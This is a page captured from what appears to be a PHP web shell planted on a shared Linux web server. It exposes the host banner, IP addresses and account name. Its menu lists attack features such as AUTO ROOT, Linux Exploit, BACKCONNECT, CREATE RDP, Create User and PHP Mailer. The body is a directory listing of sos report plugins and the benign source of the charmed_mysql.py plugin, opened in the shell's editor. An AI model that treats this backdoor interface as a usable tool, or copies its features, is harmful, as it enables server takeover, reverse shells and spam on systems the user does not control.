Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
sos /
report /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
140.49
KB
-rw-r--r--
aap_containerized.py
8.28
KB
-rw-r--r--
aap_controller.py
3.75
KB
-rw-r--r--
aap_eda.py
4.04
KB
-rw-r--r--
aap_gateway.py
2.55
KB
-rw-r--r--
aap_hub.py
1.99
KB
-rw-r--r--
aap_receptor.py
1.85
KB
-rw-r--r--
abrt.py
1.51
KB
-rw-r--r--
acpid.py
917
B
-rw-r--r--
activemq.py
1.65
KB
-rw-r--r--
aide.py
1.41
KB
-rw-r--r--
alternatives.py
2.27
KB
-rw-r--r--
anaconda.py
1.46
KB
-rw-r--r--
anacron.py
782
B
-rw-r--r--
ansible.py
1.08
KB
-rw-r--r--
apache.py
6
KB
-rw-r--r--
apparmor.py
1.05
KB
-rw-r--r--
apport.py
1.37
KB
-rw-r--r--
apt.py
1.76
KB
-rw-r--r--
arcconf.py
2.17
KB
-rw-r--r--
ata.py
1016
B
-rw-r--r--
auditd.py
1.83
KB
-rw-r--r--
authd.py
2.2
KB
-rw-r--r--
autofs.py
2.77
KB
-rw-r--r--
aws.py
2.56
KB
-rw-r--r--
azure.py
2.37
KB
-rw-r--r--
bcache.py
2.2
KB
-rw-r--r--
bird.py
2.41
KB
-rw-r--r--
block.py
2.59
KB
-rw-r--r--
boom.py
1.19
KB
-rw-r--r--
boot.py
2.11
KB
-rw-r--r--
bootc.py
940
B
-rw-r--r--
btrfs.py
739
B
-rw-r--r--
buildah.py
1.82
KB
-rw-r--r--
candlepin.py
5.94
KB
-rw-r--r--
canonical_livepatch.py
1.04
KB
-rw-r--r--
canonical_livepatch_onprem.py
1.22
KB
-rw-r--r--
ceph_ansible.py
956
B
-rw-r--r--
ceph_common.py
6.83
KB
-rw-r--r--
ceph_iscsi.py
1.55
KB
-rw-r--r--
ceph_mds.py
4.15
KB
-rw-r--r--
ceph_mgr.py
5.92
KB
-rw-r--r--
ceph_mon.py
9.88
KB
-rw-r--r--
ceph_osd.py
5.27
KB
-rw-r--r--
ceph_rgw.py
4.51
KB
-rw-r--r--
cgroups.py
1.39
KB
-rw-r--r--
charmed_mysql.py
9.73
KB
-rw-r--r--
charmed_postgresql.py
6.05
KB
-rw-r--r--
chrony.py
1.84
KB
-rw-r--r--
cifs.py
962
B
-rw-r--r--
clear_containers.py
2.58
KB
-rw-r--r--
cloud_init.py
1.07
KB
-rw-r--r--
cman.py
1.78
KB
-rw-r--r--
cobbler.py
1.29
KB
-rw-r--r--
cockpit.py
968
B
-rw-r--r--
collectd.py
2.24
KB
-rw-r--r--
collectl.py
752
B
-rw-r--r--
composer.py
2.11
KB
-rw-r--r--
conntrack.py
2.37
KB
-rw-r--r--
console.py
869
B
-rw-r--r--
container_log.py
1.54
KB
-rw-r--r--
containerd.py
1.37
KB
-rw-r--r--
containers_common.py
2.64
KB
-rw-r--r--
convert2rhel.py
1.04
KB
-rw-r--r--
coredump.py
5.13
KB
-rw-r--r--
corosync.py
2.41
KB
-rw-r--r--
crio.py
3.38
KB
-rw-r--r--
cron.py
1.01
KB
-rw-r--r--
crypto.py
1.38
KB
-rw-r--r--
cs.py
4.5
KB
-rw-r--r--
ctdb.py
1.42
KB
-rw-r--r--
cups.py
3.08
KB
-rw-r--r--
curtin.py
1.74
KB
-rw-r--r--
cxl.py
1.32
KB
-rw-r--r--
date.py
867
B
-rw-r--r--
dbus.py
877
B
-rw-r--r--
dellrac.py
1.69
KB
-rw-r--r--
devicemapper.py
1.13
KB
-rw-r--r--
devices.py
740
B
-rw-r--r--
dhcp.py
1.03
KB
-rw-r--r--
discovery.py
1.15
KB
-rw-r--r--
distupgrade.py
1.51
KB
-rw-r--r--
dlm.py
1.52
KB
-rw-r--r--
dmraid.py
1.29
KB
-rw-r--r--
dnf.py
5.51
KB
-rw-r--r--
docker.py
5.08
KB
-rw-r--r--
docker_distribution.py
1.3
KB
-rw-r--r--
dovecot.py
1007
B
-rw-r--r--
dpkg.py
1.16
KB
-rw-r--r--
dracut.py
942
B
-rw-r--r--
drbd.py
2.81
KB
-rw-r--r--
ds.py
3.6
KB
-rw-r--r--
ebpf.py
3.11
KB
-rw-r--r--
elastic.py
2.5
KB
-rw-r--r--
etcd.py
2.14
KB
-rw-r--r--
fail2ban.py
830
B
-rw-r--r--
fapolicyd.py
1.34
KB
-rw-r--r--
fcoe.py
1018
B
-rw-r--r--
fibrechannel.py
1.77
KB
-rw-r--r--
filesys.py
3.81
KB
-rw-r--r--
firewall_tables.py
5.07
KB
-rw-r--r--
firewalld.py
2.05
KB
-rw-r--r--
flatpak.py
1.29
KB
-rw-r--r--
foreman.py
18.02
KB
-rw-r--r--
foreman_installer.py
3.9
KB
-rw-r--r--
foreman_openscap.py
830
B
-rw-r--r--
foreman_proxy.py
2.19
KB
-rw-r--r--
freeipmi.py
896
B
-rw-r--r--
frr.py
1.79
KB
-rw-r--r--
fwupd.py
1.41
KB
-rw-r--r--
gcp.py
4.89
KB
-rw-r--r--
gdm.py
735
B
-rw-r--r--
gfs2.py
1.36
KB
-rw-r--r--
gluster.py
4.34
KB
-rw-r--r--
gluster_block.py
1.07
KB
-rw-r--r--
grafana.py
2.01
KB
-rw-r--r--
greenboot.py
905
B
-rw-r--r--
grub.py
988
B
-rw-r--r--
grub2.py
2.81
KB
-rw-r--r--
gssproxy.py
823
B
-rw-r--r--
haproxy.py
2.41
KB
-rw-r--r--
hardware.py
1.13
KB
-rw-r--r--
helm.py
1.14
KB
-rw-r--r--
host.py
1.74
KB
-rw-r--r--
hpasm.py
898
B
-rw-r--r--
hpssm.py
2.65
KB
-rw-r--r--
hts.py
700
B
-rw-r--r--
hyperv.py
886
B
-rw-r--r--
i18n.py
774
B
-rw-r--r--
infiniband.py
2.66
KB
-rw-r--r--
infinidat.py
1.38
KB
-rw-r--r--
insights.py
2.68
KB
-rw-r--r--
instructlab.py
5.45
KB
-rw-r--r--
ipa.py
7.36
KB
-rw-r--r--
ipmitool.py
1.53
KB
-rw-r--r--
iprconfig.py
4.53
KB
-rw-r--r--
ipvs.py
1.04
KB
-rw-r--r--
iscsi.py
2.15
KB
-rw-r--r--
iscsitarget.py
1.25
KB
-rw-r--r--
jars.py
5.39
KB
-rw-r--r--
java.py
978
B
-rw-r--r--
juju.py
8.23
KB
-rw-r--r--
kafka.py
2.07
KB
-rw-r--r--
kata_containers.py
1.34
KB
-rw-r--r--
kdump.py
6.99
KB
-rw-r--r--
kea.py
1.37
KB
-rw-r--r--
keepalived.py
855
B
-rw-r--r--
kernel.py
5.85
KB
-rw-r--r--
kernelrt.py
1.66
KB
-rw-r--r--
keyutils.py
894
B
-rw-r--r--
kimchi.py
1009
B
-rw-r--r--
kpatch.py
1.02
KB
-rw-r--r--
krb5.py
2.88
KB
-rw-r--r--
kubernetes.py
12.45
KB
-rw-r--r--
kvm.py
954
B
-rw-r--r--
landscape.py
3.17
KB
-rw-r--r--
ldap.py
2.99
KB
-rw-r--r--
leapp.py
1.49
KB
-rw-r--r--
libraries.py
1.56
KB
-rw-r--r--
libreswan.py
2.47
KB
-rw-r--r--
libvirt.py
3.76
KB
-rw-r--r--
lightdm.py
1.11
KB
-rw-r--r--
lilo.py
716
B
-rw-r--r--
login.py
1.06
KB
-rw-r--r--
logrotate.py
1.24
KB
-rw-r--r--
logs.py
3.94
KB
-rw-r--r--
loki.py
7.58
KB
-rw-r--r--
lstopo.py
1.2
KB
-rw-r--r--
lustre.py
2.95
KB
-rw-r--r--
lvm2.py
4.6
KB
-rw-r--r--
lxd.py
4.31
KB
-rw-r--r--
maas.py
5.07
KB
-rw-r--r--
manageiq.py
2.86
KB
-rw-r--r--
md.py
1.24
KB
-rw-r--r--
megacli.py
1.01
KB
-rw-r--r--
mellanox_firmware.py
4.7
KB
-rw-r--r--
memcached.py
1.58
KB
-rw-r--r--
memory.py
1.44
KB
-rw-r--r--
microcloud.py
2.72
KB
-rw-r--r--
microk8s.py
4.43
KB
-rw-r--r--
microovn.py
3.23
KB
-rw-r--r--
microshift.py
6.96
KB
-rw-r--r--
microshift_ovn.py
1.69
KB
-rw-r--r--
migration_results.py
637
B
-rw-r--r--
mongodb.py
4.03
KB
-rw-r--r--
monit.py
1.68
KB
-rw-r--r--
mpt.py
732
B
-rw-r--r--
mssql.py
3.29
KB
-rw-r--r--
multipath.py
1011
B
-rw-r--r--
mvcli.py
1003
B
-rw-r--r--
mysql.py
4.44
KB
-rw-r--r--
named.py
2.5
KB
-rw-r--r--
navicli.py
2.47
KB
-rw-r--r--
networking.py
14.42
KB
-rw-r--r--
networkmanager.py
5.27
KB
-rw-r--r--
nfs.py
1.32
KB
-rw-r--r--
nfsganesha.py
1.2
KB
-rw-r--r--
nginx.py
1.53
KB
-rw-r--r--
nis.py
812
B
-rw-r--r--
nodejs.py
1.18
KB
-rw-r--r--
npm.py
2.06
KB
-rw-r--r--
nscd.py
989
B
-rw-r--r--
nss.py
885
B
-rw-r--r--
ntb.py
937
B
-rw-r--r--
ntp.py
1.41
KB
-rw-r--r--
numa.py
1.46
KB
-rw-r--r--
nvidia.py
1.82
KB
-rw-r--r--
nvme.py
1.71
KB
-rw-r--r--
nvmetcli.py
977
B
-rw-r--r--
oddjob.py
871
B
-rw-r--r--
omnipath_client.py
1.92
KB
-rw-r--r--
omnipath_manager.py
2.38
KB
-rw-r--r--
omsa.py
1.64
KB
-rw-r--r--
opencl.py
692
B
-rw-r--r--
opencontrail.py
1.35
KB
-rw-r--r--
opendaylight.py
1.38
KB
-rw-r--r--
opengl.py
694
B
-rw-r--r--
openhpi.py
878
B
-rw-r--r--
opensearch.py
2.56
KB
-rw-r--r--
openshift.py
16.88
KB
-rw-r--r--
openshift_ovn.py
2.95
KB
-rw-r--r--
openssl.py
1.4
KB
-rw-r--r--
openstack_ansible.py
1.31
KB
-rw-r--r--
openstack_aodh.py
3.81
KB
-rw-r--r--
openstack_barbican.py
1.76
KB
-rw-r--r--
openstack_ceilometer.py
3.07
KB
-rw-r--r--
openstack_cinder.py
6.26
KB
-rw-r--r--
openstack_database.py
2.47
KB
-rw-r--r--
openstack_designate.py
3.55
KB
-rw-r--r--
openstack_edpm.py
1.45
KB
-rw-r--r--
openstack_glance.py
4.56
KB
-rw-r--r--
openstack_gnocchi.py
4.27
KB
-rw-r--r--
openstack_heat.py
5.26
KB
-rw-r--r--
openstack_horizon.py
3.37
KB
-rw-r--r--
openstack_instack.py
5.74
KB
-rw-r--r--
openstack_ironic.py
8.21
KB
-rw-r--r--
openstack_keystone.py
4.76
KB
-rw-r--r--
openstack_manila.py
3.68
KB
-rw-r--r--
openstack_masakari.py
2.08
KB
-rw-r--r--
openstack_masakarimonitors.py
1.5
KB
-rw-r--r--
openstack_mistral.py
1.6
KB
-rw-r--r--
openstack_neutron.py
5.86
KB
-rw-r--r--
openstack_nova.py
8.65
KB
-rw-r--r--
openstack_novajoin.py
1.15
KB
-rw-r--r--
openstack_octavia.py
5.16
KB
-rw-r--r--
openstack_placement.py
5.01
KB
-rw-r--r--
openstack_sahara.py
2.57
KB
-rw-r--r--
openstack_swift.py
2.75
KB
-rw-r--r--
openstack_tripleo.py
1.62
KB
-rw-r--r--
openstack_trove.py
2.18
KB
-rw-r--r--
opensvc.py
3.39
KB
-rw-r--r--
openvswitch.py
17.47
KB
-rw-r--r--
oratab.py
1.92
KB
-rw-r--r--
origin.py
8.57
KB
-rw-r--r--
os_net_config.py
800
B
-rw-r--r--
ostree.py
1.05
KB
-rw-r--r--
ovirt.py
9.44
KB
-rw-r--r--
ovirt_engine_backup.py
1.72
KB
-rw-r--r--
ovirt_hosted_engine.py
2.16
KB
-rw-r--r--
ovirt_imageio.py
1.56
KB
-rw-r--r--
ovirt_node.py
1.62
KB
-rw-r--r--
ovirt_provider_ovn.py
1.16
KB
-rw-r--r--
ovn_central.py
9.86
KB
-rw-r--r--
ovn_host.py
3.32
KB
-rw-r--r--
pacemaker.py
5.81
KB
-rw-r--r--
pam.py
1.37
KB
-rw-r--r--
pci.py
1.35
KB
-rw-r--r--
pcp.py
6.05
KB
-rw-r--r--
perccli.py
1.81
KB
-rw-r--r--
perccli2.py
1.82
KB
-rw-r--r--
peripety.py
1.19
KB
-rw-r--r--
perl.py
662
B
-rw-r--r--
pmem.py
3.34
KB
-rw-r--r--
podman.py
5.52
KB
-rw-r--r--
postfix.py
4.32
KB
-rw-r--r--
postgresql.py
4.36
KB
-rw-r--r--
powerpath.py
1.82
KB
-rw-r--r--
powerpc.py
4.29
KB
-rw-r--r--
ppp.py
848
B
-rw-r--r--
procenv.py
710
B
-rw-r--r--
process.py
4.29
KB
-rw-r--r--
processor.py
2.56
KB
-rw-r--r--
proxmox.py
2.98
KB
-rw-r--r--
psacct.py
1.29
KB
-rw-r--r--
ptp.py
892
B
-rw-r--r--
pulp.py
7.66
KB
-rw-r--r--
pulpcore.py
8.96
KB
-rw-r--r--
pulseaudio.py
1.56
KB
-rw-r--r--
puppet.py
2.26
KB
-rw-r--r--
python.py
3.79
KB
-rw-r--r--
qaucli.py
1.35
KB
-rw-r--r--
qpid.py
3.53
KB
-rw-r--r--
qpid_dispatch.py
2.19
KB
-rw-r--r--
qt.py
809
B
-rw-r--r--
quagga.py
755
B
-rw-r--r--
rabbitmq.py
2.73
KB
-rw-r--r--
radius.py
1.34
KB
-rw-r--r--
rasdaemon.py
994
B
-rw-r--r--
rear.py
1.31
KB
-rw-r--r--
redis.py
1.6
KB
-rw-r--r--
release.py
1.23
KB
-rw-r--r--
rhc.py
2.08
KB
-rw-r--r--
rhcos.py
1.36
KB
-rw-r--r--
rhui.py
2.27
KB
-rw-r--r--
rhui_containerized.py
3.63
KB
-rw-r--r--
rhv_analyzer.py
941
B
-rw-r--r--
rpm.py
2.34
KB
-rw-r--r--
rpmostree.py
1.12
KB
-rw-r--r--
ruby.py
813
B
-rw-r--r--
s390.py
2.38
KB
-rw-r--r--
salt.py
2.14
KB
-rw-r--r--
saltmaster.py
2.67
KB
-rw-r--r--
samba.py
1.79
KB
-rw-r--r--
sanlock.py
1000
B
-rw-r--r--
saphana.py
2.52
KB
-rw-r--r--
sapnw.py
5.03
KB
-rw-r--r--
sar.py
3.95
KB
-rw-r--r--
sas3ircu.py
1.3
KB
-rw-r--r--
scsi.py
2.42
KB
-rw-r--r--
seagate_ses.py
2.1
KB
-rw-r--r--
sedutil.py
1.7
KB
-rw-r--r--
selinux.py
2.02
KB
-rw-r--r--
sendmail.py
1.18
KB
-rw-r--r--
services.py
1.43
KB
-rw-r--r--
shmcli.py
4.21
KB
-rw-r--r--
skydive.py
2.28
KB
-rw-r--r--
slurm.py
3.75
KB
-rw-r--r--
smartcard.py
1.49
KB
-rw-r--r--
smclient.py
1.89
KB
-rw-r--r--
snap.py
2.99
KB
-rw-r--r--
snapm.py
1021
B
-rw-r--r--
snapper.py
741
B
-rw-r--r--
snmp.py
903
B
-rw-r--r--
sos_extras.py
3.74
KB
-rw-r--r--
soundcard.py
980
B
-rw-r--r--
spyre.py
2.98
KB
-rw-r--r--
squid.py
1.25
KB
-rw-r--r--
ssh.py
3.73
KB
-rw-r--r--
ssmtp.py
976
B
-rw-r--r--
sssd.py
2.4
KB
-rw-r--r--
storageconsole.py
1.66
KB
-rw-r--r--
storcli.py
1.8
KB
-rw-r--r--
stratis.py
1.12
KB
-rw-r--r--
subscription_manager.py
5.78
KB
-rw-r--r--
sudo.py
1.48
KB
-rw-r--r--
sunbeam.py
6.89
KB
-rw-r--r--
sunbeam_hypervisor.py
3.73
KB
-rw-r--r--
sunrpc.py
818
B
-rw-r--r--
symcli.py
3.46
KB
-rw-r--r--
system.py
1.67
KB
-rw-r--r--
systemd.py
3.68
KB
-rw-r--r--
systemtap.py
881
B
-rw-r--r--
sysvipc.py
886
B
-rw-r--r--
targetcli.py
1.12
KB
-rw-r--r--
teamd.py
1.24
KB
-rw-r--r--
telegraf.py
1.68
KB
-rw-r--r--
tftpserver.py
1.21
KB
-rw-r--r--
tigervnc.py
1.67
KB
-rw-r--r--
tomcat.py
2.08
KB
-rw-r--r--
tpm2.py
989
B
-rw-r--r--
tuned.py
1.17
KB
-rw-r--r--
ubuntu.py
2.23
KB
-rw-r--r--
udev.py
900
B
-rw-r--r--
udisks.py
804
B
-rw-r--r--
ufw.py
987
B
-rw-r--r--
ultrapath.py
1.3
KB
-rw-r--r--
unbound.py
899
B
-rw-r--r--
unity.py
703
B
-rw-r--r--
unpackaged.py
3.48
KB
-rw-r--r--
usb.py
731
B
-rw-r--r--
usbguard.py
813
B
-rw-r--r--
validation_framework.py
1.5
KB
-rw-r--r--
valkey.py
1.72
KB
-rw-r--r--
vault.py
1.74
KB
-rw-r--r--
vdo.py
2.27
KB
-rw-r--r--
vdsm.py
5.05
KB
-rw-r--r--
vectordev.py
1.2
KB
-rw-r--r--
veritas.py
1.33
KB
-rw-r--r--
vhostmd.py
1.71
KB
-rw-r--r--
virsh.py
4.42
KB
-rw-r--r--
virtwho.py
985
B
-rw-r--r--
vmware.py
1.74
KB
-rw-r--r--
vsftpd.py
724
B
-rw-r--r--
vulkan.py
700
B
-rw-r--r--
watchdog.py
2.89
KB
-rw-r--r--
wireless.py
886
B
-rw-r--r--
x11.py
1.38
KB
-rw-r--r--
xdp.py
659
B
-rw-r--r--
xen.py
3.32
KB
-rw-r--r--
xfs.py
1.34
KB
-rw-r--r--
xinetd.py
837
B
-rw-r--r--
zfs.py
1.91
KB
-rw-r--r--
zvm.py
2.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : charmed_mysql.py
# This file is part of the sos project: https://github.com/sosreport/sos # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of # version 2 of the GNU General Public License. # # See the LICENSE file in the source distribution for further information.# import os import tempfile from sos.report.plugins import Plugin, PluginOpt, UbuntuPlugin from sos.utilities import is_executable class CharmedMySQL(Plugin, UbuntuPlugin): """ The Charmed MySQL plugin is used to collect MySQL configuration and logs from the Charmed MySQL snap package or K8s deployment. It also collects MySQL Router and MySQL Shell configuration and logs where available, journal logs for the snap, and snap info. If the `dumpdbs` option is set to `True`, the plugin will also try and collect the names of the databases that the user has access to. The `mysql` user is used by default, but that can be set using the `dbuser` option. When using the `dumpdbs` option, you must then provide the password for the user using the `dbpass` option or the `MYSQL_PWD` environment variable. """ short_desc = "Charmed MySQL" plugin_name = "charmed_mysql" mysql_queries = [ # Get databases user has access to "show databases;", # Get unit operations from MySQL to see, for example, # if a unit is stuck on joining the cluster "select * from mysql.juju_units_operations;", # Get the cluster group replication status ("select * from performance_schema.replication_group_members " "order by MEMBER_HOST;"), # Get connection stats "show global status like \"%conne%\";", # Get errors per client and host # Useful for problens like an app disconnectting randomly "select * from performance_schema.host_cache;", # Get InnoDB status for any deadlocks, etc. "show ENGINE InnoDB STATUS;", ] snap_package = "charmed-mysql" snap_path_common = "/var/snap/charmed-mysql/common" snap_path_current = "/var/snap/charmed-mysql/current" kube_cmd = "kubectl" selector = "app.kubernetes.io/name=mysql-k8s" conf_paths = { "MYSQL_CONF": "/etc/mysql", "MYSQL_LOGS": "/var/log/mysql", "MYSQL_ROUTER_CONF": "/etc/mysqlrouter", "MYSQL_ROUTER_LOGS": "/var/log/mysqlrouter", "MYSQL_SHELL_LOGS": "/var/log/mysqlsh", } option_list = [ PluginOpt( "dbuser", default="mysql", val_type=str, desc="Username for database dump collection" ), PluginOpt( "dbpass", default="", val_type=str, desc="Password for database dump collection", ), PluginOpt( "dumpdbs", default=False, val_type=bool, desc="Get name of all databases" ), PluginOpt( "logs_since", default="48h", val_type=str, desc="How far back to fetch logs with kubectl --since, K8s only" ), ] def _get_db_credentials(self): db_user = self.get_option("dbuser") db_pass = self.get_option("dbpass") if "MYSQL_PWD" in os.environ and not db_pass: self.soslog.info( "MYSQL_PWD present: Using MYSQL_PWD environment variable, " "user did not provide password." ) db_pass = os.environ["MYSQL_PWD"] elif not db_pass: self.soslog.warning( "dumpdbs_error: option is set, but username and password " "are not provided" ) return None, None return db_user, db_pass def _determine_namespaces(self): namespaces = self.exec_cmd( f"{self.kube_cmd} get pods -A -l {self.selector} " "-o jsonpath='{.items[*].metadata.namespace}'" ) if namespaces['status'] == 0: return list(set(namespaces['output'].strip().split())) return [] def _get_pod_names(self, namespace): pods = self.exec_cmd( f"{self.kube_cmd} -n {namespace} get pods -l {self.selector} " "-o jsonpath='{.items[*].metadata.name}'" ) if pods['status'] == 0: return pods['output'].strip().split() return [] def _collect_per_namespace(self, namespace, logs_since): kube_cmd = f"{self.kube_cmd} -n {namespace}" # Describe the resources self.add_cmd_output([ f"{kube_cmd} get all -l {self.selector} -o wide", f"{kube_cmd} describe pods -l {self.selector}", ]) # Get pod logs self.add_cmd_output( f"{kube_cmd} logs -l {self.selector} --since={logs_since} " "--all-containers=true --prefix --all-pods" ) mysql_cont = "mysql" pods = self._get_pod_names(namespace) # Get the config and logs from each pod dump_files_path = self.get_cmd_output_path() for name, path in self.conf_paths.items(): for pod in pods: os.makedirs(f"{dump_files_path}/{pod}/{name}", exist_ok=True) copy_cmd = ( f"{kube_cmd} cp -c {mysql_cont} {pod}:{path} " f"{dump_files_path}/{pod}/{name}" ) self.exec_cmd(copy_cmd) self.add_forbidden_path([ f"{dump_files_path}/*/MYSQL_CONF/*.pem", f"{dump_files_path}/*/MYSQL_CONF/*.key", ]) # If dumpdbs is set, then get all databases if self.get_option("dumpdbs"): db_user, db_pass = self._get_db_credentials() if not db_user or not db_pass: return opts = f"-h 127.0.0.1 -u{db_user}" sql_cmd = f"mysql {opts} -e" queries = " ".join( query.replace('\"', '\\\"') for query in self.mysql_queries ) with tempfile.TemporaryDirectory() as tmpdir: pwd_file = "mysql_pwd" pwd_path = tmpdir + "/" + pwd_file with open(pwd_path, "w", encoding="utf8") as f: f.write(db_pass) for pod in pods: mkdir_cmd = ( f"{kube_cmd} exec -c {mysql_cont} {pod} -- " f"mkdir -p {tmpdir}" ) self.exec_cmd(mkdir_cmd) copy_cmd = ( f"{kube_cmd} cp -c {mysql_cont} " f"{pwd_path} {pod}:{pwd_path}" ) self.exec_cmd(copy_cmd) queries_cmd = ( f"{kube_cmd} exec -c {mysql_cont} {pod} -- " f"sh -lc 'MYSQL_PWD=$(cat {pwd_path}) " f"{sql_cmd} \"{queries}\"' " f"&& rm -rf {tmpdir}" ) self.add_cmd_output( queries_cmd, suggest_filename=f"{pod}_dbs.txt", ) def _join_conf_path(self, base, *parts): stripped_parts = [p.lstrip(os.path.sep) for p in parts] return os.path.join(base, *stripped_parts) def _process_k8s(self): logs_since = self.get_option("logs_since") namespaces = self._determine_namespaces() for namespace in namespaces: self._collect_per_namespace(namespace, logs_since) def _process_snap(self): # Ignore private keys self.add_forbidden_path([ self._join_conf_path( self.snap_path_current, self.conf_paths["MYSQL_CONF"], "*.pem" ), self._join_conf_path( self.snap_path_current, self.conf_paths["MYSQL_CONF"], "*.key" ), ]) # Include the files we want to get self.add_copy_spec([ self._join_conf_path( self.snap_path_current, self.conf_paths["MYSQL_CONF"] ), self._join_conf_path( self.snap_path_common, self.conf_paths["MYSQL_LOGS"] ), self._join_conf_path( self.snap_path_current, self.conf_paths["MYSQL_ROUTER_CONF"] ), self._join_conf_path( self.snap_path_common, self.conf_paths["MYSQL_ROUTER_LOGS"] ), self._join_conf_path( self.snap_path_common, self.conf_paths["MYSQL_SHELL_LOGS"] ), ]) # Get snap logs self.add_journal("snap.charmed-mysql.*") # Get snap info self.add_cmd_output("snap info charmed-mysql") # If dumpdbs is set, then get all databases if self.get_option("dumpdbs"): db_user, db_pass = self._get_db_credentials() if not db_user or not db_pass: return mysql_env = {"MYSQL_PWD": db_pass} opts = f"-h 127.0.0.1 -u{db_user}" sql_cmd = f"mysql {opts} -e" self.add_cmd_output( [f"{sql_cmd} '{query}'" for query in self.mysql_queries], env=mysql_env, ) def check_enabled(self): # Check for snap package if self.is_installed(self.snap_package): return True # Check for kubectl and pods return ( is_executable(self.kube_cmd, self.sysroot) and bool(self._determine_namespaces()) ) def setup(self): if self.is_installed(self.snap_package): self._process_snap() if is_executable(self.kube_cmd, self.sysroot): self._process_k8s() # vim: set et ts=4 sw=4 :
Close